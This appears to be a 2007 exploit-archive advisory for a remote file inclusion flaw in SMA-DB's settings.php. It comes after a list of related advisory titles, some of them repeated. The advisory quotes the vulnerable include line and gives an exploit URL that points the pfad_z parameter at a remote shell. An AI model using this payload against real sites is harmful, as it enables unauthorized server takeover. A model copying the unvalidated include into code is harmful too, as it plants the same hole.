Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

WebBuilder <= 2.0 Remote File Include Vulnerability

GeekLog <= 2. (BaseView. php) Remote File Include Vulnerabilities

GeekLog <= 2. (BaseView. php) Remote File Include Vulnerabilities

GeekLog <= 2. (BaseView. php) Remote File Include Vulnerabilities

From:	ThE dE@Th <mostafa_ragab_(at)_msn.com>
Date:	07.02.2007
Subject:	SMA-DB <= 0.3.9 (settings.php) Remote File Inclusion Vulnerability

********************************************************************************

To ConTacT mE:wWw.Asb-May.net/bb
ScRiPt:-
http://people.ee.ethz.ch/~dmaeder/bluevirus/downloader.php?filename=U01BLURC&
referrer=hots
Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs Gr0uP}>>
******************************************************************************
Settings.php:-
include_once($pfad_z."scripts/session.php");
********************************************************************************

ExPlOiT:-http://www.Site.com/theme/settings.php?pfad_z=[Shell]
********************************************************************************


# milw0rm.com [2007-02-05]